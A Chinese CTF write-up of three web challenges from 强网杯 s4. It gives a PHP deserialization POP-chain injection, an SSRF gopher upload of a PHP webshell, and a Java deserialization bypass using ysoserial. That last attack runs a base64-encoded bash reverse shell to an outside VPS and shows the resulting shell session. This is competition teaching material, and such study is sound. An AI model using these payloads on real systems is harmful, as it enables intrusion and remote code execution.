2020 强网杯s4 Web Wrtieup

2020-08-27 8,858

web辅助

扫描得到网站备份文件,查看源代码发现是反序列化题目


分析

Class.php

<?php
class player{
   protected $user;
   protected $pass;
   protected $admin;

   public function __construct($user, $pass, $admin = 0){
       $this->user = $user;
       $this->pass = $pass;
       $this->admin = $admin;
   }

   public function get_admin(){
       return $this->admin;
   }
}

class topsolo{
   protected $name;

   public function __construct($name = 'Riven'){
       $this->name = $name;
   }

   public function TP(){
       if (gettype($this->name) === "function" or gettype($this->name) === "object"){
           $name = $this->name;
           $name();
       }
   }

   public function __destruct(){
       $this->TP();
   }

}

class midsolo{
   protected $name;

   public function __construct($name){
       $this->name = $name;
   }

   public function __wakeup(){
       if ($this->name !== 'Yasuo'){
           $this->name = 'Yasuo';
           echo "No Yasuo! No Soul!\n";
       }
   }
   

   public function __invoke(){
       $this->Gank();
   }

   public function Gank(){
       if (stristr($this->name, 'Yasuo')){
           echo "Are you orphan?\n";
       }
       else{
           echo "Must Be Yasuo!\n";
       }
   }
}

class jungle{
   protected $name = "";

   public function __construct($name = "Lee Sin"){
       $this->name = $name;
   }

   public function KS(){
       system("cat /flag");
   }

   public function __toString(){
       $this->KS();  
       return "";  
   }

}
?>

playertopsolomidsolojungle这几个类,获取flag的方法在jungle类中。


common.php

<?php
function read($data){
   $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
   return $data;
}
function write($data){
   $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
   return $data;
}

function check($data)
{
   if(stristr($data, 'name')!==False){
       die("Name Pass\n");
   }
   else{
       return $data;
   }
}
?>

readwrite为序列化的读写方法,且过程为\0*\0chr(0)."*".chr(0)替换的互逆,check是对内容进行判断是否包含check方法


Index.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}

?>

序列化入口,获取usernamepassword然后作为参数传入player类的构造函数,接着序列化player类对象,然后将通过write处理序列化字符串并写入文件内。


Play.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
echo "FPX Champion\n";
}
else{
echo "The Shy unstoppable\n";
}
?>

反序列化入口,首先通过check函数检查然后通过read函数读取序列化字符串进行反序列化。


对象注入

序列化和反序列化涉及readwrite处理不够严谨,可以在usernamepassword初进行再对象注入。

在序列化时username处注入\0*\0,可以发现字符串的长度是5,但是反序列化前通过read替换序列化字符串中的\0*\0变成chr(0) . "*" . chr(0),长度变成了3

反序列化时会根据序列化时的长度进行计算取值,吃掉了后面两个字符串作为内容,也就是在username处每注入一个\0*\0就能向后吃掉两个字符串。

此时在usernamepassword处精心构造,username吞字符串直到可控的password前,形成内联的序列化字符串注入

$username = '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0';
$password = "\";s:7:\"" . '\\0*\\0' . "pass\";s:4:\"BBBB" ;

序列化字符串为:

O:6:"player":3:{s:7:"\0*\0user";s:55:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:27:"";s:7:"\0*\0pass";s:4:"BBBB";s:8:"\0*\0admin";i:0;}

反序列化的对象为:

object(player)#1 (3) {
 ["user":protected]=>
 string(55) "***********";s:7:"*pass";s:27:""
 ["pass":protected]=>
 string(4) "BBBB"
 ["admin":protected]=>
 int(0)
}

User类的pass成员已经可以任意对象注入


Chain

需要利用common.php中的几个类构造Chain

player::pass注入topsolo对象,topsoloname成员为midsolo对象,会被check函数阻止,这里使用S加上十六进制nam\65绕过check函数。

析构函数会调用TP方法,然后调用midsolo__invokemidsoloname成员为jungle类,但是__wakeup这里做了过滤限制为字符串,这里修改midsolo序列化字符串里对象属性个数的值大于真实的属性个数,__wakeup就不会触发,过滤就会失效,然后调用gank方法在stristr函数中调用的__toString方法,获取Flag

构造恶意的topsolo对象:

$jungle = new jungle();
$midsolo = new midsolo($jungle);
$topsolo = new topsolo($midsolo);
var_dump(serialize($topsolo));
//O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}

整体的结构为:

object(topsolo)#3 (1) {
 ["name":protected]=>
 object(midsolo)#2 (1) {
   ["name":protected]=>
   object(jungle)#1 (1) {
     ["name":protected]=>
     string(7) "Lee Sin"
   }
 }
}

修改序列化字符串绕过check__wakeup

O:7:"topsolo":1:{S:7:"*nam\65";O:7:"midsolo":2:{S:7:"*nam\65";O:6:"jungle":1:{S:7:"*nam\65";s:7:"Lee Sin";}}}

最后生成POC:

    $username = '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0';
   $username = (urlencode($username));
   $password = "A\";s:7:\"*pass\";O:7:\"topsolo\":1:{S:7:\"*nam\\65\";O:7:\"midsolo\":2:{S:7:\"*nam\\65\";O:6:\"jungle\":1:{S:7:\"*nam\\65\";s:7:\"Lee Sin\";}}}";
   $password = str_replace('*', '\\0*\\0', $password);
   $password = (urlencode($password));
   echo 'username=' . $username . '&password=' . $password;

注入的序列化字符串:

O:6:"player":3:{s:7:"\0*\0user";s:60:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:140:"A";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0nam\65";O:7:"midsolo":2:{S:7:"\0*\0nam\65";O:6:"jungle":1:{S:7:"\0*\0nam\65";s:7:"Lee Sin";}}}";s:8:"\0*\0admin";i:0;}

Exp

http://eci-2zeiat1sz4y14j48qk45.cloudeci1.ichunqiu.com/?username=%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0&password=A%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D

image-20200824174636957.png

访问play.php

image-20200824174720115.png

half_infiltration

image-20200825172404053.png

变量覆盖&缓冲区输出

index.php

<?php
highlight_file(__FILE__);

$flag=file_get_contents('ssrf.php');

class Pass
{


   function read()
   {
       ob_start();
       global $result;
       print $result;

   }
}

class User
{
   public $age,$sex,$num;

   function __destruct()
   {
       $student = $this->age;
       $boy = $this->sex;
       $a = $this->num;
   $student->$boy();
   if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
   {
       ob_end_clean();
       exit();
   }
   global $$a;
   $result=$GLOBALS['flag'];
       ob_end_clean();
   }
}

if (isset($_GET['x'])) {
   unserialize($_GET['x'])->get_it();
}

ssrf.php的内容放在$flag里面,需要利用Pass::read进行输出,但是输出的内容为global $result,因此还首先需要在User::__destructglobal $$a;$result=$GLOBALS['flag'];进行变量覆盖完成对$result的赋值。

因为ob_start()ob_end_clean()的原因,输出进入缓冲区并被清楚,还需要想办法输出缓冲区内容才能获得$flag


因此需要构建一个数组包含两个元素,第一个元素走完User::__destruct完成变量覆盖,第二个元素需要绕过缓冲区进行输出。

构造POC如下

$user1 = new User();
$user1->sex = 'read';
$user1->age = new Pass();
$user1->num = 'result';
$user2 = new User();
$user2->sex = 'read';
$user2->age = new Pass();
$user2->num = 'this';

$exp = array($user1, $user2);

$exp = serialize($exp);

数组内两个对象均为User对象,第一个对象赋值flag到global $result,第二个对象利用global $thisob_end_clean();进行报错,会直接输出已经进入缓冲区的内容。

发送POC

http://39.98.131.124/?x=a:2:{i:0;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:6:%22result%22;}i:1;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:4:%22this%22;}}

获取ssrf.php的内容如下

<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
   $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
 die("");
}

if($url)
   {

           $ch = curl_init();
           curl_setopt($ch, CURLOPT_URL, $url);
           curl_setopt($ch, CURLOPT_HEADER, 1);
           curl_exec($ch);
           curl_close($ch);

    }

?>


SSRF

进行端口扫描

image-20200825171902435.png

40000端口存在web服务


源码如下:

<!DOCTYPE html>
<html>
<head>
<title>Message Board</title>
<link rel="stylesheet" href="css/bootstrap.min.css" />
</head>
   <body>
       <div class="container" style="text-align:center;vertical-align:middle;">

<div class="row" style="text-align:center;vertical-align:middle;">
               <h1>Message Board </h1>
           </div>
    <div class="row">
 <br><br>
 <p class="lead">
 Since there is only one administrator, a person can only submit one opinion at a time.
 Each time a new opinion is submitted, all old comments will be deleted
 <br><br>
               </p>
           </div>

           <br>

<div class="row" style="text-align:center;vertical-align:middle;">

<form method="POST" class="form-inline">
       <div class="form-group">
           <input class='form-control' type="text" name="file">
</div>
<div class='panel-body'>
<textarea class='form-control' name='content' rows='6'></textarea>
<br>
<br>
<div class="form-group">
          <button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Submit</button>
</div>




   </form>

</div>

直接使用gopher协议进行POST文件上传,内容为2222:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher%3A%2F%2F127.0.0.1%3A40000%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%3A40000%250d%250aCookie%3APHPSESSID%3Drai4over%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A+23%250d%250a%250d%250afile%3D1.php%26content%3D2222

文件上传位置为:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://127.0.0.1:40000/uploads/rai4over/1.php

image-20200827132951890.png

文件上传成功,尝试传小马,但是发现对content文件内容进行了过滤,比如出现开头的<?=等字符串就会写入失败。

这里可以使用伪协议php://filter/convert.base64-decode/resource=进行base64编码,不过内容字符长度需要为3的倍数不然编码后会出现=,就会写入失败。


$url = 'http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=';

$cmd = '|<?=`ls -l ../../../../../`?>|';
$cmd = base64_encode($cmd);

$filename = 'php://filter/convert.base64-decode/resource=1.php';

$x = 'file=' . $filename . '&content=' . $cmd;
$url = $url . urlencode('gopher://127.0.0.1:40000/_POST / HTTP/1.1%0d%0aHost: 127.0.0.1:40000%0d%0aCookie:PHPSESSID=rai4over%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: ' . strlen($x) . '%0d%0a%0d%0a' . ($x));

file_get_contents($url);

找到Flag位置如下

image-20200825231724639.png


修改payload为|<?=`cat ../../../../../flag`?>|a,获取flag

image-20200825163112992.png

easy_java

查看源码,发现反序列化位置:

    @PostMapping("/jdk_der")
   @ResponseBody
   public String jdk_der(@RequestBody byte[] input) {
       try {
           ByteArrayInputStream bais = new ByteArrayInputStream(input);
           SafeObjectInputStream ois = new SafeObjectInputStream(bais);
           return (String) system_properties.get((String) ois.readObject());
       } catch (Exception e) {
           e.printStackTrace();
           return "Something error.....";
       }
   }

进行了黑名单过滤:

    @Override
   protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
           ClassNotFoundException {

       String[] black_list = new String[] {
               "java.util.HashMap",
               "com.sun.jndi.rmi.registry.RegistryContext",
               "sun.reflect.annotation.AnnotationInvocationHandler",
               "java.util.PriorityQueue",
               "java.util.HashSet",
               "java.util.Hashtable",
               "org.apache.commons.fileupload.disk.DiskFileItem",
               "org.hibernate.engine.spi.TypedValue",
               "java.util.LinkedHashSet",
               "sun.rmi.server.UnicastRef",
               "java.rmi.server.UnicastRemoteObject",
               "javax.management.openmbean.TabularDataSupport",
               "java.util.Hashtable",
               "org.mozilla.javascript.NativeJavaObject",
               "org.springframework.core.SerializableTypeWrapper",
               "javax.management.BadAttributeValueExpException",
               "org.springframework.beans.factory.ObjectFactory",
               "org.codehaus.groovy.runtime.ConvertedClosure",
               "xalan.internal.xsltc.trax.TemplatesImpl",
               "java.lang.Runtime"
       };

但并不全,可以参考shiro直接使用JRMPClient进行绕过,查看依赖有非常好用的cc

<dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
</dependency>

直接就能RCE

VPS上运行ysoserial,监听在9999端口:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuMjEwLjIzLjE4NC83Nzc3IDA+JiAx}|{base64,-d}|{bash,-i}"

然后vps监听7777端口,用于shell回连:

nc -l 7777

然后向目标发送payload

# coding=utf-8

import subprocess
import requests

if __name__ == '__main__':
   url = "http://39.101.166.142:8080/jdk_der"
   vps = "103.210.23.184:9999"

   popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', vps],
                            stdout=subprocess.PIPE)
   file_body = popen.stdout.read()

   rs = requests.post(url, data=file_body).text

   print(rs)

shell回连成功

ctf2@iZ8vb769r8zjakxybwzbenZ:/$ ls
ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swapfile
sys
tmp
usr
var
ctf2@iZ8vb769r8zjakxybwzbenZ:/$ cat flag
cat flag
flag{056eaalfe7scd222qwe2df36845b8ed170c67e23e3}
ctf2@iZ8vb769r8zjakxybwzbenZ:/$


参考

http://www.jackson-t.ca/runtime-exec-payloads.html

https://www.cnblogs.com/tr1ple/p/11876441.html


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/139731.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号